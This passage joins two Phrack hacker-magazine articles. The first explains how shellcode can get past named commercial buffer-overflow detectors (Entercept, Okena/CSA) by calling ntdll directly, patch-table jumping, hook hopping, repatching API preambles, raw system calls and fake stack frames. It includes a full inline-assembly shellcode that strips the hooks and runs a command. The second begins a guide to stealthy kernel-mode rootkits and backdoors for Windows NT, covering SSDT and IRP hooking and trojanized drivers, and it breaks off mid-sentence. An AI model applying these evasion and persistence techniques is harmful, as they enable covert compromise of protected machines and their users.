and ANSI versions of a function. An attacker can simply call the ntdll.dll directly and completely bypass all the kernel32.dll "checkpoints" established by a buffer overflow detector. For example, NAI Entercept tries to detect shellcode calling GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the same goal, and at the same time never pass through the NAI Entercept hook. Similarly, shellcode can completely bypass userland hooks altogether and make system calls directly (see section 4.5). --------[ 4.1.3 - Not Hooking Thoroughly Enough The interactions between the various different Win32 API functions is byzantine, complex and difficult to understand. A vendor must make only one mistake in order to create a window of opportunity for an attacker. For example, Okena/CSA and NAI Entercept both hook WinExec trying to prevent attacker's shellcode from spawning a process. The call path for WinExec looks like this: WinExec() --> CreateProcessA() --> CreateProcessInternalA() Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA() (see Appendix A and B). However, neither product hooks CreateProcessInternalA() (exported by kernel32.dll). When writing a shellcode, an attacker could find the export for CreateProcessInternalA() and use it instead of calling WinExec(). CreateProcessA() pushes two NULLs onto the stack before calling CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs and then call CreateProcessInternalA() directly to evade the userland API hooks of both products. As new DLLs and APIs are released, the complexity of Win32 API internal interactions increases, making the problem worse. Third party product vendors are at a severe disadvantage when implementing their buffer overflow detection technologies and are bound to make mistakes which can be exploited by attackers. ----[ 4.2 - Fun With Trampolines Most Win32 API functions begin with a five byte preamble. First, EBP is pushed onto the stack, then ESP is moved into EBP. [-----------------------------------------------------------] Code Bytes Assembly 55 push ebp 8bec mov ebp, esp [-----------------------------------------------------------] Both Okena/CSA and Entercept use inline function hooking. They overwrite the first 5 bytes of a function with an immediate unconditional jump or call. For example, this is what the first few bytes of WinExec() look like after NAI Entercept's hooks have been installed: [-----------------------------------------------------------] Code Bytes Assembly e8 xx xx xx xx call xxxxxxxx 54 push esp 53 push ebx 56 push esi 57 push edi [-----------------------------------------------------------] Alternatively, the first few bytes could be overwritten with a jump instruction: [-----------------------------------------------------------] Code Bytes Assembly e9 xx xx xx xx jmp xxxxxxxx ... [-----------------------------------------------------------] Obviously, it is easy for shellcode to test for these and other signatures before calling a function. If a hijacking mechanism is detected, the shellcode can use several different techniques to bypass the hook. ------[ 4.2.1 - Patch Table Jumping When an API is hooked, the original preamble is saved into a table so that the buffer overflow detector can recreate the original API after performing its validation checks. The preamble is stored in a patch table, which resides somewhere in the address space of an application. When shellcode detects the presence of an API hook, it can simply search for the patch table and make its calls to patch table entries. This completely avoids the hook, preventing the userland buffer overflow detector components from ever being in the attacker's call path. ------[ 4.2.2 - Hook Hopping Alternatively, instead of locating the patch table, shellcode can include its own copy of the original pre-hook preamble. After executing its own API preamble, the shellcode can transfer execution to immediately after the API hook (function address plus five bytes). Since Intel x86 has variable length instructions, one must take this into account in order to land on an even instruction boundary: [-----------------------------------------------------------] Shellcode: call WinExecPreamble WinExecPreamble: push ebp mov ebp, esp sub esp, 54 jmp WinExec+6 [-----------------------------------------------------------] This technique will not work if another function within the call path is also hooked. In this case, Entercept also hooks CreateProcessA(), which WinExec() calls. Thus, to evade detection shellcode should call CreateProcessA() using the stored copy of CreateProcessA's preamble. ----[ 4.3 - Repatching Win32 APIs Thoroughly hooking Win32 APIs is not effective when certain fundamental errors are made in the implementation of a userland buffer overflow detection component. Certain implementations (NAI Entercept) have a serious problem with the way they perform their API hooking. In order to be able to overwrite preambles of hooked functions, the code section for a DLL has to be made writable. Entercept marks code sections of kernel32.dll and ntdll.dll as writable in order to be able to modify their contents. However, Entercept never resets the writable bit! Due to this serious security flaw, it is possible for an attacker to overwrite the API hook by re-injecting the original preamble code. For the WinExec() and CreateProcessA() examples, this would require overwriting the first 6 bytes (just to be instruction aligned) of WinExec() and CreateProcessA() with the original preamble. [-----------------------------------------------------------] WinExecOverWrite: Code Bytes Assembly 55 push ebp 8bec mov ebp, esp 83ec54 sub esp, 54 CreateProcessAOverWrite: Code Bytes Assembly 55 push ebp 8bec mov ebp, esp ff752c push DWORD PTR [ebp+2c] [-----------------------------------------------------------] This technique will not work against properly implemented buffer overflow detectors, however it is very effective against NAI Entercept. A complete shellcode example which overwrites the NAI Entercept hooks is presented below: [-----------------------------------------------------------] // This sample code overwrites the preamble of WinExec and // CreateProcessA to avoid detection. The code then // calls WinExec with a "calc.exe" parameter. // The code demonstrates that by overwriting function // preambles, it is able to evade Entercept and Okena/CSA // buffer overflow protection. _asm { pusha jmp JUMPSTART START: pop ebp xor eax, eax mov al, 0x30 mov eax, fs:[eax]; mov eax, [eax+0xc]; // We now have the module_item for ntdll.dll mov eax, [eax+0x1c] // We now have the module_item for kernel32.dll mov eax, [eax] // Image base of kernel32.dll mov eax, [eax+0x8] movzx ebx, word ptr [eax+3ch] // pe.oheader.directorydata[EXPORT=0] mov esi, [eax+ebx+78h] lea esi, [eax+esi+18h] // EBX now has the base module address mov ebx, eax lodsd // ECX now has the number of function names mov ecx, eax lodsd add eax,ebx // EDX has addresses of functions mov edx,eax lodsd // EAX has address of names add eax,ebx // Save off the number of named functions // for later push ecx // Save off the address of the functions push edx RESETEXPORTNAMETABLE: xor edx, edx INITSTRINGTABLE: mov esi, ebp // Beginning of string table inc esi MOVETHROUGHTABLE: mov edi, [eax+edx*4] add edi, ebx // EBX has the process base address xor ecx, ecx mov cl, BYTE PTR [ebp] test cl, cl jz DONESTRINGSEARCH STRINGSEARCH: // ESI points to the function string table repe cmpsb je Found // The number of named functions is on the stack cmp [esp+4], edx je NOTFOUND inc edx jmp INITSTRINGTABLE Found: pop ecx shl edx, 2 add edx, ecx mov edi, [edx] add edi, ebx push edi push ecx xor ecx, ecx mov cl, BYTE PTR [ebp] inc ecx add ebp, ecx jmp RESETEXPORTNAMETABLE DONESTRINGSEARCH: OverWriteCreateProcessA: pop edi pop edi push 0x06 pop ecx inc esi rep movsb OverWriteWinExec: pop edi push edi push 0x06 pop ecx inc esi rep movsb CallWinExec: push 0x03 push esi call [esp+8] NOTFOUND: pop edx STRINGEXIT: pop ecx popa; jmp EXIT JUMPSTART: add esp, 0x1000 call START WINEXEC: _emit 0x07 _emit 'W' _emit 'i' _emit 'n' _emit 'E' _emit 'x' _emit 'e' _emit 'c' CREATEPROCESSA: _emit 0x0e _emit 'C' _emit 'r' _emit 'e' _emit 'a' _emit 't' _emit 'e' _emit 'P' _emit 'r' _emit 'o' _emit 'c' _emit 'e' _emit 's' _emit 's' _emit 'A' ENDOFTABLE: _emit 0x00 WinExecOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0x83 _emit 0xec _emit 0x54 CreateProcessAOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0xff _emit 0x75 _emit 0x2c COMMAND: _emit 'c' _emit 'a' _emit 'l' _emit 'c' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0x00 EXIT: _emit 0x90 // Normally call ExitThread or something here _emit 0x90 } [-----------------------------------------------------------] ----[ 4.4 - Attacking Userland Components While evading the hooks and techniques used by userland buffer overflow detector components is effective, there exist other mechanisms of bypassing the detection. Because both the shellcode and the buffer overflow detector are executing with the same privileges and in the same address space, it is possible for shellcode to directly attack the buffer overflow detector userland component. Essentially, when attacking the buffer overflow detector userland component the attacker is attempting to subvert the mechanism used to perform the shellcode detection check. There are only two principle techniques for shellcode validation checking. Either the data used for the check is determined dynamically during each hooked API call, or the data is gathered at process start up and then checked during each call. In either case, it is possible for an attacker to subvert the process. ------[ 4.4.1 - IAT Patching Rather than implementing their own versions of memory page information functions, the commercial buffer overflow protection products simply use the operating system APIs. In Windows NT, these are implemented in ntdll.dll. These APIs will be imported into the userland component (itself a DLL) via its PE Import Table. An attacker can patch vectors within the import table to alter the location of an API to a function supplied by the shellcode. By supplying the function used to do the validation checking by the buffer overflow detector, it is trivial for an attacker to evade detection. ------[ 4.4.2 - Data Section Patching For various reasons, a buffer overflow detector might use a pre-built list of page permissions within the address space. When this is the case, altering the address of the VirtualQuery() API is not effective. To subvert the buffer overflow detector, the shellcode has to locate and modify the data table used by the return address validation routines. This is a fairly straightforward, although application specific, technique for subverting buffer overflow prevention technologies. ----[ 4.5 - Calling Syscalls Directly As mentioned above, rather than using ntdll.dll APIs to make system calls, it is possible for an attacker to create shellcode which makes system call directly. While this technique is very effective against userland components, it obviously cannot be used to bypass kernel based buffer overflow detectors. To take advantage of this technique you must understand what parameters a kernel function uses. These may not always be the same as the parameters required by the kernel32 or ntdll API versions. Also, you must know the system call number of the function in question. You can find this dynamically using a technique similar to the one to find function addresses. Once you have the address of the ntdll.dll version of the function you want to call, index into the function one byte and read the following DWORD. This is the system call number in the system call table for the function. This is a common trick used by rootkit developers. Here is the pseudo code for calling NtReadFile system call directly: ... xor eax, eax // Optional Key push eax // Optional pointer to large integer with the file offset push eax push Length_of_Buffer push Address_of_Buffer // Before call make room for two DWORDs called the IoStatusBlock push Address_of_IoStatusBlock // Optional ApcContext push eax // Optional ApcRoutine push eax // Optional Event push eax // Required file handle push hFile // EAX must contain the system call number mov eax, Found_Sys_Call_Num // EDX needs the address of the userland stack lea edx, [esp] // Trap into the kernel // (recent Windows NT versions use "sysenter" instead) int 2e ----[ 4.6 - Faking Stack Frames As described in section 3.2, kernel based stack backtracing can be bypassed using fake frames. Same techniques works against userland based detectors. To bypass both userland and kernel backtracing, shellcode can create a fake stack frame without the ebp register on stack. Since stack backtracing relies on the presence of the ebp register to find the next stack frame, fake frames can stop backtracing code from tracing past the fake frame. Of course, generating a fake stack frame is not going to work when the EIP register still points to shellcode which resides in a writable memory segment. To bypass the protection code, shellcode needs to use an address that lies in a non-writable memory segment. This presents a problem since shellcode needs a way to eventually regain control of the execution. The trick to regaining control is to proxy the return to shellcode through a "ret" instruction which resides in a non-writable memory segment. "ret" instruction can be found dynamically by searching memory for a 0xC3 opcode. Here is an illustration of a normal LoadLibrary("kernel32.dll") call that originates from a writable memory segment: push kernel32_string call LoadLibrary return_eip: . . . LoadLibrary: ; * see below for a stack illustration . . . ret ; return to stack-based return_eip |------------------------------| | address of "kernel32.dll" str| |------------------------------| | return address (return_eip) | |------------------------------| As explained before, the buffer overflow protection code executes before LoadLibrary gets to run. Since the return address (return_eip) is in a writable memory segment, the protection code logs the overflow and terminates the process. Next example illustrates 'proxy through a "ret" instruction' technique: push return_eip push kernel32_string ; fake "call LoadLibrary" call push address_of_ret_instruction jmp LoadLibrary return_eip: . . . LoadLibrary: ; * see below for a stack illustration . . . ret ; return to non stack-based address_of_ret_instruction address_of_ret_instruction: . . . ret ; return to stack-based return_eip Once again, the buffer overflow protection code executes before LoadLibrary gets to run. This time though, the stack is setup with a return address pointing to a non-writable memory segment. In addition, the ebp register is not present on stack thus the protection code cannot perform stack backtracing and determine that the return address in the next stack frame points to a writable segment. This allows the shellcode to call LoadLibrary which returns to the "ret" instruction. In its turn, the "ret" instruction pops the next return address off stack (return_eip) and transfers control to it. |------------------------------| | return address (return_eip) | |------------------------------| | address of "kernel32.dll" str| |------------------------------| | address of "ret" instruction | |------------------------------| In addition, any number of arbitrary complex fake stack frames can be setup to further confuse the protection code. Here is an example of a fake frame that uses a "ret 8" instruction instead of simple "ret": |--------------------------------| | return address | |--------------------------------| | address of "ret" instruction | <- fake frame 2 |--------------------------------| | any value | |--------------------------------| | address of "kernel32.dll" str | |--------------------------------| | address of "ret 8" instruction | <- fake frame 1 |--------------------------------| This causes an extra 32-bit value to be removed from stack, complicating any kind of analysis even further. --[ 5 - Conclusions The majority of commercial security systems do not actually prevent buffer overflows but rather detect the execution of shellcode. The most common technology used to detect shellcode is code page permission checking which relies on stack backtracing. Stack backtracing involves traversing stack frames and verifying that the return addresses do not originate from writable memory segments such as stack or heap areas. The paper presents a number of different ways to bypass both userland and kernel based stack backtracing. These range from tampering with function preambles to creating fake stack frames. In conclusion, the majority of current buffer overflow protection implementations are flawed, providing a false sense of security and little real protection against determined attackers. Appendix A: Entercept 4.1 Hooks Entercept hooks a number of functions in userland and in the kernel. Here is a list of the currently hooked functions as of Entercept 4.1. User Land msvcrt.dll _creat _read _write system kernel32.dll CreatePipe CreateProcessA GetProcAddress GetStartupInfoA LoadLibraryA PeekNamedPipe ReadFile VirtualProtect VirtualProtectEx WinExec WriteFile advapi32.dll RegOpenKeyA rpcrt4.dll NdrServerInitializeMarshall user32.dll ExitWindowsEx ws2_32.dll WPUCompleteOverlappedRequest WSAAddressToStringA WSACancelAsyncRequest WSACloseEvent WSAConnect WSACreateEvent WSADuplicateSocketA WSAEnumNetworkEvents WSAEventSelect WSAGetServiceClassInfoA WSCInstallNameSpace wininet.dll InternetSecurityProtocolToStringW InternetSetCookieA InternetSetOptionExA lsasrv.dll LsarLookupNames LsarLookupSids2 msv1_0.dll Msv1_0ExportSubAuthenticationRoutine Msv1_0SubAuthenticationPresent Kernel NtConnectPort NtCreateProcess NtCreateThread NtCreateToken NtCreateKey NtDeleteKey NtDeleteValueKey NtEnumerateKey NtEnumerateValueKey NtLoadKey NtLoadKey2 NtQueryKey NtQueryMultipleValueKey NtQueryValueKey NtReplaceKey NtRestoreKey NtSetValueKey NtMakeTemporaryObject NtSetContextThread NtSetInformationProcess NtSetSecurityObject NtTerminateProcess Appendix B: Okena/Cisco CSA 3.2 Hooks Okena/CSA hooks many functions in userland but many less in the kernel. A lot of the userland hooks are the same ones that Entercept hooks. However, almost all of the functions Okena/CSA hooks in the kernel are related to altering keys in the Windows registry. Okena/CSA does not seem as concerned as Entercept about backtracing calls in the kernel. This leads to an interesting vulnerability, left as an exercise to the reader. User Land kernel32.dll CreateProcessA CreateProcessW CreateRemoteThread CreateThread FreeLibrary LoadLibraryA LoadLibraryExA LoadLibraryExW LoadLibraryW LoadModule OpenProcess VirtualProtect VirtualProtectEx WinExec WriteProcessMemory ole32.dll CoFileTimeToDosDateTime CoGetMalloc CoGetStandardMarshal CoGetState CoResumeClassObjects CreateObjrefMoniker CreateStreamOnHGlobal DllGetClassObject StgSetTimes StringFromCLSID oleaut32.dll LPSAFEARRAY_UserUnmarshal urlmon.dll CoInstall Kernel NtCreateKey NtOpenKey NtDeleteKey NtDeleteValueKey NtSetValueKey NtOpenProcess NtWriteVirtualMemory |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10 |=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ firew0rker ]=----------------=| |=----------------=[ the nobodies ]=---------------=| --[ Table of contents 1 - PREFACE 2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT 2.1 - NTROOTKIT 2.2 - HE4HOOK 2.3 - SLANRET (IERK, BACKDOOR-ALI) 3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY 4 - MY VARIANT: THORNY PATH 4.1 - SHELL 4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT 4.3 - OBSCURITY ON DISK 5 - CONCLUSION 6 - EPILOGUE 7 - LIST OF USED SOURCES 8 - FILES --[ 1 - Preface This article is intended for those who know the architecture of the Windows NT kernel and the principles of operation of NT drivers. This article examines issues involved in the development of kernel-mode tools for stealthy remote administration of Windows NT. Recently there has been a tendency of extending the use of Windows NT (2000, XP, 2003) from it's classical stronghold as home and office OS to servers. At the same time, the outdated Windows 9x family is replaced by the NT family. Because of this it should be evident that remote administration tools (backdoors) and unnoticeable access tools (rootkits) for the NT family have a certain value. Most of the published utilities work in user-mode and can thus be detected by Antivirus tools or by manual inspection. It's quite another matter those works in kernel-mode: They can hide from any user-mode program. Antivirus software will have to suplly kernel- mode components in order to detect a kernel-mode-backdoor. Software exists that protects against such backdoors (such as IPD, "Integrity Protection Driver"), but it's use is not widely spread. Kernel mode backdoors are not as widely used as they could be due to their relative complexity in comp- arison with user-mode backdoors. --[ 2 - Overview of existing Kernel-Mode backdoors for Windows NT This section briefly reviews existing kernel-mode backdoors for Windows NT. ----[ 2.1 - Ntrootkit Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a device driver for Windows NT 4.0 and 2000. It's possibilities (implemented and potential): - Receiving commands from a remote client. The rk_packet module contains a simplified IP-stack, which uses free IP-address from the subnet where the host on which Ntrootkit has been installed is situated. It's MAC and IP addresses are hardcoded in the source. Connection with the rootkit at that IP is carried out via a TCP connection to any port. The available commands in rk_command.c are: ps - list processes help - self explainatory buffertest, echo and debugint - for debugging purpose hidedir - hide directory/file hideproc - hide process(es) sniffkeys - keyboard spy There are also imcomplete pieces of code: Execute commands received via a covert channel and starting a Win32-process from a driver (a hard and complicated task). - Encrypt all traffic using Schneier's Blowfish algorithm: rk_blowfish.c is present, but not (yet ?) used - Self-defense (rk_defense.c) - hide protected objects (in this case: registry keys), identified by the string "_root_"; redirect launched processes. The hiding of processes, directories and files as implemented in rk_ioman.c is done through hooking the following functions: NtCreateFile ZwOpenFile ZwQueryDirectoryFile ZwOpenKey ZwQueryKey ZwQueryValueKey ZwEnumerateValueKey ZwEnumerateKey ZwSetValueKey ZwCreateKey The way to detect this rootkit: Make direct request to filesystem driver, send IRP to it. There is one more module that hooks file handling: rk_files.c, adopted from filemon, but it is not used. - Starting processes: An unfinished implementation of it can be found in rk_command.c, another one (which is almost complete and good) is in rk_exec.c The implementation suffers from the fact that Zw* functions which are normally unavailable to drivers directly are called through the system call interface (int 0x2E), leading to problems with different versions of the NT family as system call numbers change. It seems like the work on Ntrootkit is very loosely coordinated: every developer does what (s)he considers needed or urgent. Ntrootkit does not achieve complete (or sufficient) invisibility. It creates device named "Ntroot", visible from User-Mode. When using Ntrootkit for anything practical, one will need some means of interaction with the rootkitted system. Shortly: There will be the need for some sort of shell. Ntrootkit itself can not give out a shell directly, although it can start a process -- the downside is that the I/O of that process can not be redirected. One is thus forced to start something like netcat. It's process can be hidden, but it's TCP-connection will be visible. The missing redirection of I/O is a big drawback. However, Ntrootkit development is still in progress, and it will probably become a fully-functional tool for complete and stealthy remote administration. ----[ 2.2 - He4Hook This description is based on [2]. The filesystem access was hooked via two different methods in the versions up to and including 2.15b6. Only one of it works at one time, and in versions after 2.15b6 the first method was removed. Method A: hook kernel syscalls: =============================== ZwCreateFile, ZwOpenFile - driver version 1.12 and from 1.17 to 2.15beta6 IoCreateFile - from 1.13 to 2.15beta6 ZwQueryDirectoryFile, ZwClose - before 2.15beta6 Almost all these exported functions (Zw*) have the following function body: mov eax, NumberFunction lea edx, [esp+04h] int 2eh ; Syscall interface The "NumberFunction" is the number of the called function in the syscalls table (which itself can be accessed via the global variable KeServiceDescriptorTable). This variable points to following structure: typedef struct SystemServiceDescriptorTable { SSD SystemServiceDescriptors[4]; } SSDT, *LPSSDT; Other structures: typedef VOID *SSTAT[]; typedef unsigned char SSTPT[]; typedef SSTAT *LPSSTAT; typedef SSTPT *LPSSTPT; typedef struct SystemServiceDescriptor { LPSSTAT lpSystemServiceTableAddressTable; ULONG dwFirstServiceIndex; ULONG dwSystemServiceTableNumEntries; LPSSTPT lpSystemServiceTableParameterTable; } SSD, *LPSSD; The DescriptorTable pointed to by KeServiceDescriptorTable is only accessible from kernel mode. In User-Mode, there is something called KeServiceDescriptorTableShadow -- unfortunately it is not exported. Base services are in KeServiceDescriptorTable->SystemServiceDescriptors[0] KeServiceDescriptorTableShadow->SystemServiceDescriptors[0] KernelMode GUI services are in KeServiceDescriptorTableShadow->SystemServiceDescriptors[1] Other elements of that tables were free at moment when [2] was written, in all versions up to WinNt4(SP3-6) and Win2k build 2195. Each element of the table is a SSID structure, which contains the following data: lpSystemServiceTableAddressTable - A pointer to an array of addresses of functions that will be called if a matching syscall is called dwFirstServiceIndex - Start index for the first function dwSystemServiceTableNumEntries - Number of services in table lpSystemServiceTableParameterTable - An array of bytes specifying the number of bytes from the stack that will be passed through In order to hook a system call, He4HookInv replaces the address stored in KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn with a pointer to it's own table. One can interface with He4HookInv by adding your own services to the system call tables. He4HookInv updates both tables: - KeServiceDescriptorTable - KeServiceDescriptorTableShadow. Otherwise, if it updated only KeServiceDescriptorTable, new services would be unavailable from UserMode. To locate KeServiceDescriptorTable- Shadow the following technique is used: The function KeAddSystemServiceTable can be used to add services to the kernel. It can add services to both tables. Taking into account that its 0-th descriptor is identical, it's possible, by scanning KeAddSystemServiceTable function's code, to find the address of the shadow table. You can see how it is done in file He4HookInv.c, function FindShadowTable(void). If this method fails for some reason, a hardcoded address is taken (KeServiceDescriptorTable-0x230) as location of the shadow table. This address has not changed since WinNT Sp3. Another problem is the search for the correct index into the function address array. As almost all Zw* functions have an identical first instruction (mov eax, NumberFunction), one can get a pointer to the function number easily by adding one byte to the address exported by ntoskrnl.exe Method B: (for driver versions 2.11 and higher) =============================================== The callback tables located in the DRIVER_OBJECT of the file system drivers are patched: The IRP handlers of the needed drivers are replaced. This includes replacing the pointers to base function handlers (DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the drivers unload procedure (DRIVER_OBJECT->DriverUnload). The following functions are handled: IRP_MJ_CREATE IRP_MJ_CREATE_NAMED_PIPE IRP_MJ_CREATE_MAILSLOT IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY For a more detailed description of the redirection of file operations refer to the source [2]. ----[ 2.3 - Slanret (IERK, Backdoor-ALI) The source code for this is unavailable -- it was originally disco- vered by some administrator on his network. It is a normal driver ("ierk8243.sys") which periodically causes BSODs, and is visible as a service called "Virtual Memory Manager". "Slanret is technically just one component of a root kit. It comes with a straightforward backdoor program: a 27 kilobyte server called "Krei" that listens on an open port and grants the hacker remote access to the system. The Slanret component is a seven kilobyte cloaking routine that burrows into the system as a device driver, then accepts commands from the server instructing it on what files or processes to conceal." [3] ----[ 3. Stealth on disk, in registry and in memory The lower the I/O interception in a rootkit is performed, the harder it usually is to detect it's presence. One would think that a reliable place for interception would be the low-level disk operations (read/write sectors). This would require handling all filesystems that might be on the hard disk though: FAT16, FAT32, NTFS. While FAT was relatively easy to deal with (and some old DOS stealth viruses used similar techniques) an implementation of something similar on WinNT is a task for maniacs. A second place to hook would be hooking dispatch functions of file- system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in memory or patch the drivers on disk. This has the advantage of being re- latively universal and is the method used in HE4HookInv. A third possibility is setting a filter on a filesyste driver (FSD). This has no advantages in comparison with the previous method, but has the drawback of being more visible (Filemon uses this approach). The functions Zw*, Io* can then be hooked either by manipulating the Ke- ServiceDescriptorTable or directly patching the function body. It is usually quite easy to detect that pointers in KeServiceDescriptorTable point to strange locations or that the function body of a function has changed. A filter driver is also easy to detect by calling IoGetDevice- ObjectPointer and then checking DEVICE_OBJECT->StackSize. All normal drivers have their own keys in the registry, namely in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services. The abovementioned rootkits can hide registry keys, but obviously, if the system is booted "cleanly", an administrator can see anything that was hidden. One can also load a rootkit using ZwSetSystemInformation( SystemLoadAndCallimage) without the need to create any registry keys. An example of this technique can be found in [6]. A rootkit loader in a separate file is too unstealthy. It might be a smarter move to patch that call into some executable file which is part of the system boot. One can use any driver or user-mode program that works with sufficient privileges, or any DLL linked to by it. One has to ask one question though: If the newly introduced changes need to be hidden anyway, why make two similar but differing procedures (for hiding changes to a file as well as hiding the existance of a file) instead of limiting our- selves to one ? In most cases one can target null.sys. Implementing it's functionality is as easy as "hello world", and that is why it is usually replaced with a trojan. But if we are going to have a procedure for hiding changes to a file, we can replace ANY driver with a trojan that will substitute the content of the replaced file with the original content to everyone (incl- uding the kernel). Upon startup, it will copy itself to some allocated memory area and start a thread there. This will make the trojan almost unnoticeable in memory: No system utility can see the driver any more, as it is just an anonymous memory page amongst many. We do not even need a thread, using intercepted IRP dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]). We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional threads in SYSTEM will be visible in the task manager. After this is done the trojan can unload the driver it was started from, and reload it in a clean (unchanged) variant. As a result, high levels of stealth will be achieved by relatively simple means. The original content of the manipu- lated file could for example be stored in the trojan's file after the trojan itself. It will then be sufficient to hook all FSD requests (IRP and FastIO) and upon access change the position (and size of the file). (CurrentIrpStackLocation->Parameters.*.ByteOffset) --[ 4 - My variant: The thorny path ----[ 4.1 - Shell I originally intended to do something similarily simple as standard user-mode code: Just pass a socket handle for stdin/stdout/stderr to the newly created cmd.exe process. I did not find a way